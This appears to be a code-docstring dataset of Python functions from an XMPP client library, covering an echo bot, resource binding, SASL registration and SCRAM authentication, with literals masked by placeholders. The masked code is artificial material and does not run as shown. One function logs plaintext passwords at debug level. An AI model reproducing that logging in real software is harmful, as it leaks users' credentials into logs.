{"signature": "@event_handler(DisconnectedEvent)<EOL><INDENT>def handle_disconnected(self, event):<DEDENT>", "body": "return QUIT<EOL>", "docstring": "Quit the main loop upon disconnection.", "id": "f15229:c0:m6"}
{"signature": "def main():", "body": "parser = argparse.ArgumentParser(description = '<STR_LIT>',<EOL>parents = [XMPPSettings.get_arg_parser()])<EOL>parser.add_argument('<STR_LIT>', metavar = '<STR_LIT>', <EOL>help = '<STR_LIT>')<EOL>parser.add_argument('<STR_LIT>',<EOL>action = '<STR_LIT>', dest = '<STR_LIT>',<EOL>const = logging.DEBUG, default = logging.INFO,<EOL>help = '<STR_LIT>')<EOL>parser.add_argument('<STR_LIT>', const = logging.ERROR,<EOL>action = '<STR_LIT>', dest = '<STR_LIT>',<EOL>help = '<STR_LIT>')<EOL>parser.add_argument('<STR_LIT>', action = '<STR_LIT:store_true>',<EOL>help = '<STR_LIT>')<EOL>args = parser.parse_args()<EOL>settings = XMPPSettings({<EOL>\"<STR_LIT>\": \"<STR_LIT>\"<EOL>})<EOL>settings.load_arguments(args)<EOL>if settings.get(\"<STR_LIT:password>\") is None:<EOL><INDENT>password = getpass(\"<STR_LIT>\".format(args.jid))<EOL>if sys.version_info.major < <NUM_LIT:3>:<EOL><INDENT>password = password.decode(\"<STR_LIT:utf-8>\")<EOL><DEDENT>settings[\"<STR_LIT:password>\"] = password<EOL><DEDENT>if sys.version_info.major < <NUM_LIT:3>:<EOL><INDENT>args.jid = args.jid.decode(\"<STR_LIT:utf-8>\")<EOL><DEDENT>logging.basicConfig(level = args.log_level)<EOL>if args.trace:<EOL><INDENT>print(\"<STR_LIT>\")<EOL>handler = logging.StreamHandler()<EOL>handler.setLevel(logging.DEBUG)<EOL>for logger in (\"<STR_LIT>\", \"<STR_LIT>\"):<EOL><INDENT>logger = logging.getLogger(logger)<EOL>logger.setLevel(logging.DEBUG)<EOL>logger.addHandler(handler)<EOL>logger.propagate = False<EOL><DEDENT><DEDENT>bot = EchoBot(JID(args.jid), settings)<EOL>try:<EOL><INDENT>bot.run()<EOL><DEDENT>except KeyboardInterrupt:<EOL><INDENT>bot.disconnect()<EOL><DEDENT>", "docstring": "Parse the command-line arguments and run the bot.", "id": "f15230:m0"}
{"signature": "def run(self):", "body": "self.client.connect()<EOL>self.client.run()<EOL>", "docstring": "Request client connection and start the main loop.", "id": "f15230:c0:m1"}
{"signature": "def disconnect(self):", "body": "self.client.disconnect()<EOL>self.client.run(timeout = <NUM_LIT:2>)<EOL>", "docstring": "Request disconnection and let the main loop run for a 2 more\n        seconds for graceful disconnection.", "id": "f15230:c0:m2"}
{"signature": "@message_stanza_handler()<EOL><INDENT>def handle_message(self, stanza):<DEDENT>", "body": "if stanza.subject:<EOL><INDENT>subject = \"<STR_LIT>\" + stanza.subject<EOL><DEDENT>else:<EOL><INDENT>subject = None<EOL><DEDENT>msg = Message(stanza_type = stanza.stanza_type,<EOL>from_jid = stanza.to_jid, to_jid = stanza.from_jid,<EOL>subject = subject, body = stanza.body,<EOL>thread = stanza.thread)<EOL>return msg<EOL>", "docstring": "Echo every non-error ``<message/>`` stanza.\n\n        Add \"Re: \" to subject, if any.", "id": "f15230:c0:m7"}
{"signature": "@event_handler(DisconnectedEvent)<EOL><INDENT>def handle_disconnected(self, event):<DEDENT>", "body": "return QUIT<EOL>", "docstring": "Quit the main loop upon disconnection.", "id": "f15230:c0:m8"}
{"signature": "@event_handler()<EOL><INDENT>def handle_all(self, event):<DEDENT>", "body": "logging.info(\"<STR_LIT>\".format(event))<EOL>", "docstring": "Log all events.", "id": "f15230:c0:m9"}
{"signature": "def default_resource_factory(settings):", "body": "<EOL>return unicode(uuid.uuid4())<EOL>", "docstring": "Factory for the 'resource' setting default: use random uuid", "id": "f15231:m0"}
{"signature": "def make_stream_features(self, stream, features):", "body": "self.stream = stream<EOL>if stream.peer_authenticated and not stream.peer.resource:<EOL><INDENT>ElementTree.SubElement(features, FEATURE_BIND)<EOL><DEDENT>", "docstring": "Add resource binding feature to the <features/> element of the\n        stream.\n\n        [receving entity only]\n\n        :returns: update <features/> element.", "id": "f15231:c1:m1"}
{"signature": "def handle_stream_features(self, stream, features):", "body": "logger.debug(u\"<STR_LIT>\".format(<EOL>element_to_unicode(features)))<EOL>element = features.find(FEATURE_BIND)<EOL>if element is None:<EOL><INDENT>logger.debug(\"<STR_LIT>\")<EOL>return None<EOL><DEDENT>resource = stream.settings[\"<STR_LIT>\"]<EOL>self.bind(stream, resource)<EOL>return StreamFeatureHandled(\"<STR_LIT>\", mandatory = True)<EOL>", "docstring": "Process incoming <stream:features/> element.\n\n        [initiating entity only]\n\n        The received features element is available in `features`.", "id": "f15231:c1:m2"}
{"signature": "def bind(self, stream, resource):", "body": "self.stream = stream<EOL>stanza = Iq(stanza_type = \"<STR_LIT>\")<EOL>payload = ResourceBindingPayload(resource = resource)<EOL>stanza.set_payload(payload)<EOL>self.stanza_processor.set_response_handlers(stanza,<EOL>self._bind_success, self._bind_error)<EOL>stream.send(stanza)<EOL>stream.event(BindingResourceEvent(resource))<EOL>", "docstring": "Bind to a resource.\n\n        [initiating entity only]\n\n        :Parameters:\n            - `resource`: the resource name to bind to.\n        :Types:\n            - `resource`: `unicode`\n\n        XMPP stream is authenticated for bare JID only. To use\n        the full JID it must be bound to a resource.", "id": "f15231:c1:m3"}
{"signature": "def _bind_success(self, stanza):", "body": "<EOL>payload = stanza.get_payload(ResourceBindingPayload)<EOL>jid = payload.jid<EOL>if not jid:<EOL><INDENT>raise BadRequestProtocolError(u\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL><DEDENT>self.stream.me = jid<EOL>self.stream.event(AuthorizedEvent(self.stream.me))<EOL>", "docstring": "Handle resource binding success.\n\n        [initiating entity only]\n\n        :Parameters:\n            - `stanza`: <iq type=\"result\"/> stanza received.\n\n        Set `streambase.StreamBase.me` to the full JID negotiated.", "id": "f15231:c1:m4"}
{"signature": "def _bind_error(self, stanza): ", "body": "raise FatalStreamError(\"<STR_LIT>\")<EOL>", "docstring": "Handle resource binding success.\n\n        [initiating entity only]\n\n        :raise FatalStreamError:", "id": "f15231:c1:m5"}
{"signature": "@iq_set_stanza_handler(ResourceBindingPayload)<EOL><INDENT>def handle_bind_iq_set(self, stanza):<DEDENT>", "body": "<EOL>if not self.stream:<EOL><INDENT>logger.error(\"<STR_LIT>\")<EOL>return False<EOL><DEDENT>if self.stream.initiator:<EOL><INDENT>return False<EOL><DEDENT>peer = self.stream.peer<EOL>if peer.resource:<EOL><INDENT>raise ResourceConstraintProtocolError(<EOL>u\"<STR_LIT>\")<EOL><DEDENT>resource = stanza.get_payload(ResourceBindingPayload).resource<EOL>jid = None<EOL>if resource:<EOL><INDENT>try:<EOL><INDENT>jid = JID(peer.local, peer.domain, resource)<EOL><DEDENT>except JIDError:<EOL><INDENT>pass<EOL><DEDENT><DEDENT>if jid is None:<EOL><INDENT>resource = unicode(uuid.uuid4())<EOL>jid = JID(peer.local, peer.domain, resource)<EOL><DEDENT>response = stanza.make_result_response()<EOL>payload = ResourceBindingPayload(jid = jid)<EOL>response.set_payload(payload)<EOL>self.stream.peer = jid<EOL>self.stream.event(AuthorizedEvent(jid))<EOL>return response<EOL>", "docstring": "Handler <iq type=\"set\"/> for resource binding.", "id": "f15231:c1:m6"}
{"signature": "def finish(self, data):", "body": "return Success({\"<STR_LIT>\": self.authzid})<EOL>", "docstring": "Handle authentication success information from the server.\n\n        :Parameters:\n            - `data`: the optional additional data returned with the success.\n        :Types:\n            - `data`: `bytes`\n\n        :return: a success indicator.\n        :returntype: `Success`", "id": "f15232:c0:m3"}
{"signature": "def client_authenticator_factory(mechanism):", "body": "authenticator = CLIENT_MECHANISMS_D[mechanism]<EOL>return authenticator()<EOL>", "docstring": "Create a client authenticator object for given SASL mechanism.\n\n    :Parameters:\n        - `mechanism`: name of the SASL mechanism (\"PLAIN\", \"DIGEST-MD5\" or\n          \"GSSAPI\").\n    :Types:\n        - `mechanism`: `unicode`\n\n    :raises `KeyError`: if no client authenticator is available for this\n              mechanism\n\n    :return: new authenticator.\n    :returntype: `sasl.core.ClientAuthenticator`", "id": "f15234:m0"}
{"signature": "def server_authenticator_factory(mechanism, password_database):", "body": "authenticator = SERVER_MECHANISMS_D[mechanism]<EOL>return authenticator(password_database)<EOL>", "docstring": "Create a server authenticator object for given SASL mechanism and\n    password databaser.\n\n    :Parameters:\n        - `mechanism`: name of the SASL mechanism (\"PLAIN\", \"DIGEST-MD5\" or \"GSSAPI\").\n        - `password_database`: name of the password database object to be used\n          for authentication credentials verification.\n    :Types:\n        - `mechanism`: `str`\n        - `password_database`: `PasswordDatabase`\n\n    :raises `KeyError`: if no server authenticator is available for this\n              mechanism\n\n    :return: new authenticator.\n    :returntype: `sasl.core.ServerAuthenticator`", "id": "f15234:m1"}
{"signature": "def filter_mechanism_list(mechanisms, properties, allow_insecure = False,<EOL>server_side = False):", "body": "<EOL>result = []<EOL>for mechanism in mechanisms:<EOL><INDENT>try:<EOL><INDENT>if server_side:<EOL><INDENT>klass = SERVER_MECHANISMS_D[mechanism]<EOL><DEDENT>else:<EOL><INDENT>klass = CLIENT_MECHANISMS_D[mechanism]<EOL><DEDENT><DEDENT>except KeyError:<EOL><INDENT>logger.debug(\"<STR_LIT>\".format(mechanism))<EOL>continue<EOL><DEDENT>secure = properties.get(\"<STR_LIT>\")<EOL>if not allow_insecure and not klass._pyxmpp_sasl_secure and not secure:<EOL><INDENT>logger.debug(\"<STR_LIT>\".format(mechanism))<EOL>continue<EOL><DEDENT>if not klass.are_properties_sufficient(properties):<EOL><INDENT>logger.debug(\"<STR_LIT>\"<EOL>.format(mechanism))<EOL>continue<EOL><DEDENT>result.append(mechanism)<EOL><DEDENT>return result<EOL>", "docstring": "Filter a mechanisms list only to include those mechanisms that cans\n    succeed with the provided properties and are secure enough.\n\n    :Parameters:\n        - `mechanisms`: list of the mechanisms names\n        - `properties`: available authentication properties\n        - `allow_insecure`: allow insecure mechanisms\n    :Types:\n        - `mechanisms`: sequence of `unicode`\n        - `properties`: mapping\n        - `allow_insecure`: `bool`\n\n    :returntype: `list` of `unicode`", "id": "f15234:m2"}
{"signature": "def default_nonce_factory():", "body": "return uuid.uuid4().hex.encode(\"<STR_LIT>\")<EOL>", "docstring": "Generate a random string for digest authentication challenges.\n\n    The string should be cryptographicaly secure random pattern.\n\n    :return: the string generated.\n    :returntype: `bytes`", "id": "f15236:m0"}
{"signature": "def _key_func(item):", "body": "<EOL>klass = item[<NUM_LIT:1>]<EOL>return (klass._pyxmpp_sasl_secure, klass._pyxmpp_sasl_preference)<EOL>", "docstring": "Key function used for sorting SASL authenticator classes", "id": "f15236:m1"}
{"signature": "def _register_client_authenticator(klass, name):", "body": "<EOL>CLIENT_MECHANISMS_D[name] = klass<EOL>items = sorted(CLIENT_MECHANISMS_D.items(), key = _key_func, reverse = True)<EOL>CLIENT_MECHANISMS[:] = [k for (k, v) in items ]<EOL>SECURE_CLIENT_MECHANISMS[:] = [k for (k, v) in items<EOL>if v._pyxmpp_sasl_secure]<EOL>", "docstring": "Add a client authenticator class to `CLIENT_MECHANISMS_D`,\n    `CLIENT_MECHANISMS` and, optionally, to `SECURE_CLIENT_MECHANISMS`", "id": "f15236:m2"}
{"signature": "def _register_server_authenticator(klass, name):", "body": "<EOL>SERVER_MECHANISMS_D[name] = klass<EOL>items = sorted(SERVER_MECHANISMS_D.items(), key = _key_func, reverse = True)<EOL>SERVER_MECHANISMS[:] = [k for (k, v) in items ]<EOL>SECURE_SERVER_MECHANISMS[:] = [k for (k, v) in items<EOL>if v._pyxmpp_sasl_secure]<EOL>", "docstring": "Add a client authenticator class to `SERVER_MECHANISMS_D`,\n    `SERVER_MECHANISMS` and, optionally, to `SECURE_SERVER_MECHANISMS`", "id": "f15236:m3"}
{"signature": "def sasl_mechanism(name, secure, preference = <NUM_LIT:50>):", "body": "<EOL>def decorator(klass):<EOL><INDENT>\"\"\"<STR_LIT>\"\"\"<EOL>klass._pyxmpp_sasl_secure = secure<EOL>klass._pyxmpp_sasl_preference = preference<EOL>if issubclass(klass, ClientAuthenticator):<EOL><INDENT>_register_client_authenticator(klass, name)<EOL><DEDENT>elif issubclass(klass, ServerAuthenticator):<EOL><INDENT>_register_server_authenticator(klass, name)<EOL><DEDENT>else:<EOL><INDENT>raise TypeError(\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL><DEDENT>return klass<EOL><DEDENT>return decorator<EOL>", "docstring": "Class decorator generator for `ClientAuthenticator` or\n    `ServerAuthenticator` subclasses. Adds the class to the pyxmpp.sasl\n    mechanism registry.\n\n    :Parameters:\n        - `name`: SASL mechanism name\n        - `secure`: if the mechanims can be considered secure - `True`\n          if it can be used over plain-text channel\n        - `preference`: mechanism preference level (the higher the better)\n    :Types:\n        - `name`: `unicode`\n        - `secure`: `bool`\n        - `preference`: `int`", "id": "f15236:m4"}
{"signature": "def get_password(self, username, acceptable_formats, properties):", "body": "<EOL>return None, None<EOL>", "docstring": "Get the password for user authentication.\n\n        By default returns (None, None) providing no password. Should be\n        overridden in derived classes unless only `check_password` functionality\n        is available.\n\n        :Parameters:\n            - `username`: the username for which the password is requested.\n            - `acceptable_formats`: a sequence of acceptable formats of the\n              password data. Could be \"plain\" (plain text password),\n              \"md5:user:realm:password\" (MD5 hex digest of user:realm:password)\n              or any other mechanism-specific encoding. This allows\n              non-plain-text storage of passwords. But only \"plain\" format will\n              work with all password authentication mechanisms.\n            - `properties`: mapping with authentication properties (those\n              provided to the authenticator's ``start()`` method plus some\n              already obtained via the mechanism).\n        :Types:\n            - `username`: `unicode`\n            - `acceptable_formats`: sequence of `unicode`\n            - `properties`: mapping\n\n        :return: the password and its encoding (format).\n        :returntype: `unicode`,`unicode` tuple.", "id": "f15236:c0:m0"}
{"signature": "def check_password(self, username, password, properties):", "body": "logger.debug(\"<STR_LIT>\".format(<EOL>(username, password, properties)))<EOL>pwd, pwd_format = self.get_password(username,<EOL>(u\"<STR_LIT>\", u\"<STR_LIT>\"), properties)<EOL>if pwd_format == u\"<STR_LIT>\":<EOL><INDENT>logger.debug(\"<STR_LIT>\".format(pwd))<EOL>return pwd is not None and password == pwd<EOL><DEDENT>elif pwd_format in (u\"<STR_LIT>\"):<EOL><INDENT>logger.debug(\"<STR_LIT>\"<EOL>.format(pwd))<EOL>realm = properties.get(\"<STR_LIT>\")<EOL>if realm is None:<EOL><INDENT>realm = \"<STR_LIT>\"<EOL><DEDENT>else:<EOL><INDENT>realm = realm.encode(\"<STR_LIT:utf-8>\")<EOL><DEDENT>username = username.encode(\"<STR_LIT:utf-8>\")<EOL>password = password.encode(\"<STR_LIT:utf-8>\")<EOL>urp_hash = hashlib.md5(b\"<STR_LIT>\").hexdigest()<EOL>return urp_hash == pwd<EOL><DEDENT>logger.debug(\"<STR_LIT>\".format(pwd_format))<EOL>return False<EOL>", "docstring": "Check the password validity.\n\n        Used by plain-text authentication mechanisms.\n\n        Default implementation: retrieve a \"plain\" password for the `username`\n        and `realm` using `self.get_password` and compare it with the password\n        provided.\n\n        May be overridden e.g. to check the password against some external\n        authentication mechanism (PAM, LDAP, etc.).\n\n        :Parameters:\n            - `username`: the username for which the password verification is\n              requested.\n            - `password`: the password to verify.\n            - `properties`: mapping with authentication properties (those\n              provided to the authenticator's ``start()`` method plus some\n              already obtained via the mechanism).\n        :Types:\n            - `username`: `unicode`\n            - `password`: `unicode`\n            - `properties`: mapping\n\n        :return: `True` if the password is valid.\n        :returntype: `bool`", "id": "f15236:c0:m1"}
{"signature": "def __init__(self, data = None):", "body": "self.data = data<EOL>", "docstring": "Initialize the `Reply` object.\n\n        :Parameters:\n            - `data`: optional reply data.\n        :Types:\n            - `data`: `bytes`", "id": "f15236:c1:m0"}
{"signature": "def encode(self):", "body": "if self.data is None:<EOL><INDENT>return \"<STR_LIT>\"<EOL><DEDENT>elif not self.data:<EOL><INDENT>return \"<STR_LIT:=>\"<EOL><DEDENT>else:<EOL><INDENT>ret = standard_b64encode(self.data)<EOL>return ret.decode(\"<STR_LIT>\")<EOL><DEDENT>", "docstring": "Base64-encode the data contained in the reply when appropriate.\n\n        :return: encoded data.\n        :returntype: `unicode`", "id": "f15236:c1:m1"}
{"signature": "def __init__(self, data):", "body": "Reply.__init__(self, data)<EOL>", "docstring": "Initialize the `Challenge` object.", "id": "f15236:c2:m0"}
{"signature": "def __init__(self, data):", "body": "Reply.__init__(self, data)<EOL>", "docstring": "Initialize the `Response` object.", "id": "f15236:c3:m0"}
{"signature": "def __init__(self, reason):", "body": "Reply.__init__(self, None)<EOL>self.reason = reason<EOL>", "docstring": "Initialize the `Failure` object.\n\n        :Parameters:\n            - `reason`: the failure reason.\n        :Types:\n            - `reason`: `unicode`.", "id": "f15236:c4:m0"}
{"signature": "def __init__(self, properties = None, data = None):", "body": "<EOL>Reply.__init__(self, data)<EOL>if properties:<EOL><INDENT>self.properties = properties<EOL><DEDENT>else:<EOL><INDENT>self.properties = {}<EOL><DEDENT>", "docstring": "Initialize the `Success` object.\n\n        :Parameters:\n            - `properties`: the `authentication properties`_ obtained\n            - `data`: the success data to be sent to the client\n        :Types:\n            - `properties`: mapping\n            - `data`: `bytes`", "id": "f15236:c5:m0"}
{"signature": "def __init__(self):", "body": "pass<EOL>", "docstring": "Initialize a `ClientAuthenticator` object.", "id": "f15236:c6:m0"}
{"signature": "@abstractclassmethod<EOL><INDENT>def are_properties_sufficient(cls, properties):<DEDENT>", "body": "<EOL>return False<EOL>", "docstring": "Check if the provided properties are sufficient for\n        this authentication mechanism.\n\n        If `are_properties_sufficient` returns False for given `properties`\n        mapping, the `start` method of `cls` instance will also fail with\n        such argument.\n\n        :Parameters:\n            - `properties`: the `authentication properties`_\n        :Types:\n            - `properties`: mapping\n\n        :Return: if the mechanism can be used with those properties", "id": "f15236:c6:m1"}
{"signature": "@abstractmethod<EOL><INDENT>def start(self, properties):<DEDENT>", "body": "raise NotImplementedError<EOL>", "docstring": "Start the authentication process.\n\n        :Parameters:\n            - `properties`: the `authentication properties`_\n        :Types:\n            - `properties`: mapping\n\n        :return: the initial response to send to the server or a failuer\n            indicator.\n        :returntype: `Response` or `Failure`", "id": "f15236:c6:m2"}
{"signature": "@abstractmethod<EOL><INDENT>def challenge(self, challenge):<DEDENT>", "body": "raise NotImplementedError<EOL>", "docstring": "Process the server's challenge.\n\n        :Parameters:\n            - `challenge`: the challenge.\n        :Types:\n            - `challenge`: `bytes`\n\n        :return: the response or a failure indicator.\n        :returntype: `Response` or `Failure`", "id": "f15236:c6:m3"}
{"signature": "@abstractmethod<EOL><INDENT>def finish(self, data):<DEDENT>", "body": "raise NotImplementedError<EOL>", "docstring": "Handle authentication succes information from the server.\n\n        :Parameters:\n            - `data`: the optional additional data returned with the success.\n        :Types:\n            - `data`: `bytes`\n\n        :return: success or failure indicator.\n        :returntype: `Success` or `Failure`", "id": "f15236:c6:m4"}
{"signature": "def __init__(self, password_database):", "body": "self.password_database = password_database<EOL>", "docstring": "Initialize a `ServerAuthenticator` object.\n\n        :Parameters:\n            - `password_database`: a password database\n        :Types:\n            - `password_database`: `PasswordDataBase`", "id": "f15236:c7:m0"}
{"signature": "@classmethod<EOL><INDENT>def are_properties_sufficient(cls, properties):<DEDENT>", "body": "<EOL>return True<EOL>", "docstring": "Check if the provided properties are sufficient for\n        this authentication mechanism.\n\n        If `are_properties_sufficient` returns False for given `properties`\n        mapping, the `start` method of `cls` instance will also fail with\n        such argument.\n\n        :Parameters:\n            - `properties`: the `authentication properties`_\n        :Types:\n            - `properties`: mapping\n\n        :Return: if the mechanism can be used with those properties", "id": "f15236:c7:m1"}
{"signature": "@abstractmethod<EOL><INDENT>def start(self, properties, initial_response):<DEDENT>", "body": "raise NotImplementedError<EOL>", "docstring": "Start the authentication process.\n\n        :Parameters:\n            - `properties`: the `authentication properties`_\n            - `initial_response`: the initial response send by the client with\n              the authentication request.\n\n        :Types:\n            - `properties`: mapping\n            - `initial_response`: `bytes`\n\n        :return: a challenge, a success or a failure indicator.\n        :returntype: `Challenge` or `Failure` or `Success`", "id": "f15236:c7:m2"}
{"signature": "@abstractmethod<EOL><INDENT>def response(self, response):<DEDENT>", "body": "raise NotImplementedError<EOL>", "docstring": "Process a response from a client.\n\n        :Parameters:\n            - `response`: the response from the client to our challenge.\n        :Types:\n            - `response`: `bytes`\n\n        :return: a challenge, a success or a failure indicator.\n        :returntype: `Challenge` or `Success` or `Failure`", "id": "f15236:c7:m3"}
{"signature": "@staticmethod<EOL><INDENT>def Normalize(str_):<DEDENT>", "body": "<EOL>if isinstance(str_, bytes):<EOL><INDENT>str_ = str_.decode(\"<STR_LIT:utf-8>\")<EOL><DEDENT>return SASLPREP.prepare(str_).encode(\"<STR_LIT:utf-8>\")<EOL>", "docstring": "The Normalize(str) function.\n\n        This one also accepts Unicode string input (in the RFC only UTF-8\n        strings are used).", "id": "f15238:c0:m1"}
{"signature": "def HMAC(self, key, str_):", "body": "<EOL>return hmac.new(key, str_, self.hash_factory).digest()<EOL>", "docstring": "The HMAC(key, str) function.", "id": "f15238:c0:m2"}
{"signature": "def H(self, str_):", "body": "<EOL>return self.hash_factory(str_).digest()<EOL>", "docstring": "The H(str) function.", "id": "f15238:c0:m3"}
{"signature": "def Hi(self, str_, salt, i):", "body": "<EOL>Uj = self.HMAC(str_, salt + b\"<STR_LIT>\") <EOL>result = Uj<EOL>for _ in range(<NUM_LIT:2>, i + <NUM_LIT:1>):<EOL><INDENT>Uj = self.HMAC(str_, Uj)               <EOL>result = self.XOR(result,  Uj)         <EOL><DEDENT>return result<EOL>", "docstring": "The Hi(str, salt, i) function.", "id": "f15238:c0:m4"}
{"signature": "@staticmethod<EOL><INDENT>def escape(data):<DEDENT>", "body": "return data.replace(b'<STR_LIT:=>', b'<STR_LIT>').replace(b'<STR_LIT:U+002C>', b'<STR_LIT>')<EOL>", "docstring": "Escape the ',' and '=' characters for 'a=' and 'n=' attributes.\n\n        Replaces '=' with '=3D' and ',' with '=2C'.\n\n        :Parameters:\n            - `data`: string to escape\n        :Types:\n            - `data`: `bytes`", "id": "f15238:c0:m5"}
{"signature": "@staticmethod<EOL><INDENT>def unescape(data):<DEDENT>", "body": "return data.replace(b'<STR_LIT>', b'<STR_LIT:U+002C>').replace(b'<STR_LIT>', b'<STR_LIT:=>')<EOL>", "docstring": "Unescape the ',' and '=' characters for 'a=' and 'n=' attributes.\n\n        Reverse of `escape`.\n\n        :Parameters:\n            - `data`: string to unescape\n        :Types:\n            - `data`: `bytes`", "id": "f15238:c0:m6"}
{"signature": "def __init__(self, hash_name, channel_binding):", "body": "ClientAuthenticator.__init__(self)<EOL>SCRAMOperations.__init__(self, hash_name)<EOL>self.name = \"<STR_LIT>\".format(hash_name)<EOL>if channel_binding:<EOL><INDENT>self.name += \"<STR_LIT>\"<EOL><DEDENT>self.channel_binding = channel_binding<EOL>self.username = None<EOL>self.password = None<EOL>self.authzid = None<EOL>self._c_nonce = None<EOL>self._server_first_message = False<EOL>self._client_first_message_bare = False<EOL>self._gs2_header = None<EOL>self._finished = False<EOL>self._auth_message = None<EOL>self._salted_password = None<EOL>self._cb_data = None<EOL>", "docstring": "Initialize a `SCRAMClientAuthenticator` object.\n\n        :Parameters:\n            - `hash_function_name`: hash function name, e.g. ``\"SHA-1\"``\n            - `channel_binding`: `True` to enable channel binding\n        :Types:\n            - `hash_function_name`: `unicode`\n            - `channel_binding`: `bool`", "id": "f15238:c1:m0"}
{"signature": "def challenge(self, challenge):", "body": "<EOL>if not challenge:<EOL><INDENT>logger.debug(\"<STR_LIT>\")<EOL>return Failure(\"<STR_LIT>\")<EOL><DEDENT>if self._server_first_message:<EOL><INDENT>return self._final_challenge(challenge)<EOL><DEDENT>match = SERVER_FIRST_MESSAGE_RE.match(challenge)<EOL>if not match:<EOL><INDENT>logger.debug(\"<STR_LIT>\".format(challenge))<EOL>return Failure(\"<STR_LIT>\")<EOL><DEDENT>self._server_first_message = challenge<EOL>mext = match.group(\"<STR_LIT>\")<EOL>if mext:<EOL><INDENT>logger.debug(\"<STR_LIT>\".format(mext))<EOL>return Failure(\"<STR_LIT>\")<EOL><DEDENT>nonce = match.group(\"<STR_LIT>\")<EOL>if not nonce.startswith(self._c_nonce):<EOL><INDENT>logger.debug(\"<STR_LIT>\")<EOL>return Failure(\"<STR_LIT>\")<EOL><DEDENT>salt = match.group(\"<STR_LIT>\")<EOL>try:<EOL><INDENT>salt = a2b_base64(salt)<EOL><DEDENT>except ValueError:<EOL><INDENT>logger.debug(\"<STR_LIT>\".format(salt))<EOL>return Failure(\"<STR_LIT>\")<EOL><DEDENT>iteration_count = match.group(\"<STR_LIT>\")<EOL>try:<EOL><INDENT>iteration_count = int(iteration_count)<EOL><DEDENT>except ValueError:<EOL><INDENT>logger.debug(\"<STR_LIT>\".format(iteration_count))<EOL>return Failure(\"<STR_LIT>\")<EOL><DEDENT>return self._make_response(nonce, salt, iteration_count)<EOL>", "docstring": "Process a challenge and return the response.\n\n        :Parameters:\n            - `challenge`: the challenge from server.\n        :Types:\n            - `challenge`: `bytes`\n\n        :return: the response or a failure indicator.\n        :returntype: `sasl.Response` or `sasl.Failure`", "id": "f15238:c1:m3"}
{"signature": "def _make_response(self, nonce, salt, iteration_count):", "body": "self._salted_password = self.Hi(self.Normalize(self.password), salt,<EOL>iteration_count)<EOL>self.password = None <EOL>if self.channel_binding:<EOL><INDENT>channel_binding = b\"<STR_LIT>\" + standard_b64encode(self._gs2_header +<EOL>self._cb_data)<EOL><DEDENT>else:<EOL><INDENT>channel_binding = b\"<STR_LIT>\" + standard_b64encode(self._gs2_header)<EOL><DEDENT>client_final_message_without_proof = (channel_binding + b\"<STR_LIT>\" + nonce)<EOL>client_key = self.HMAC(self._salted_password, b\"<STR_LIT>\")<EOL>stored_key = self.H(client_key)<EOL>auth_message = ( self._client_first_message_bare + b\"<STR_LIT:U+002C>\" +<EOL>self._server_first_message + b\"<STR_LIT:U+002C>\" +<EOL>client_final_message_without_proof )<EOL>self._auth_message = auth_message<EOL>client_signature = self.HMAC(stored_key, auth_message)<EOL>client_proof = self.XOR(client_key, client_signature)<EOL>proof = b\"<STR_LIT>\" + standard_b64encode(client_proof)<EOL>client_final_message = (client_final_message_without_proof + b\"<STR_LIT:U+002C>\" +<EOL>proof)<EOL>return Response(client_final_message)<EOL>", "docstring": "Make a response for the first challenge from the server.\n\n        :return: the response or a failure indicator.\n        :returntype: `sasl.Response` or `sasl.Failure`", "id": "f15238:c1:m4"}
{"signature": "def _final_challenge(self, challenge):", "body": "if self._finished:<EOL><INDENT>return Failure(\"<STR_LIT>\")<EOL><DEDENT>match = SERVER_FINAL_MESSAGE_RE.match(challenge)<EOL>if not match:<EOL><INDENT>logger.debug(\"<STR_LIT>\".format(challenge))<EOL>return Failure(\"<STR_LIT>\")<EOL><DEDENT>error = match.group(\"<STR_LIT:error>\")<EOL>if error:<EOL><INDENT>logger.debug(\"<STR_LIT>\".format(error))<EOL>return Failure(u\"<STR_LIT>\" + error.decode(\"<STR_LIT:utf-8>\"))<EOL><DEDENT>verifier = match.group(\"<STR_LIT>\")<EOL>if not verifier:<EOL><INDENT>logger.debug(\"<STR_LIT>\")<EOL>return Failure(\"<STR_LIT>\")<EOL><DEDENT>server_key = self.HMAC(self._salted_password, b\"<STR_LIT>\")<EOL>server_signature = self.HMAC(server_key, self._auth_message)<EOL>if server_signature != a2b_base64(verifier):<EOL><INDENT>logger.debug(\"<STR_LIT>\")<EOL>return Failure(\"<STR_LIT>\")<EOL><DEDENT>self._finished = True<EOL>return Response(None)<EOL>", "docstring": "Process the second challenge from the server and return the\n        response.\n\n        :Parameters:\n            - `challenge`: the challenge from server.\n        :Types:\n            - `challenge`: `bytes`\n\n        :return: the response or a failure indicator.\n        :returntype: `sasl.Response` or `sasl.Failure`", "id": "f15238:c1:m5"}
{"signature": "def finish(self, data):", "body": "if not self._server_first_message:<EOL><INDENT>logger.debug(\"<STR_LIT>\")<EOL>return Failure(\"<STR_LIT>\")<EOL><DEDENT>if self._finished:<EOL><INDENT>return Success({\"<STR_LIT:username>\": self.username, \"<STR_LIT>\": self.authzid})<EOL><DEDENT>else:<EOL><INDENT>ret = self._final_challenge(data)<EOL>if isinstance(ret, Failure):<EOL><INDENT>return ret<EOL><DEDENT>if self._finished:<EOL><INDENT>return Success({\"<STR_LIT:username>\": self.username,<EOL>\"<STR_LIT>\": self.authzid})<EOL><DEDENT>else:<EOL><INDENT>logger.debug(\"<STR_LIT>\"<EOL>\"<STR_LIT>\")<EOL>return Failure(\"<STR_LIT>\")<EOL><DEDENT><DEDENT>", "docstring": "Process success indicator from the server.\n\n        Process any addiitional data passed with the success.\n        Fail if the server was not authenticated.\n\n        :Parameters:\n            - `data`: an optional additional data with success.\n        :Types:\n            - `data`: `bytes`\n\n        :return: success or failure indicator.\n        :returntype: `sasl.Success` or `sasl.Failure`", "id": "f15238:c1:m6"}
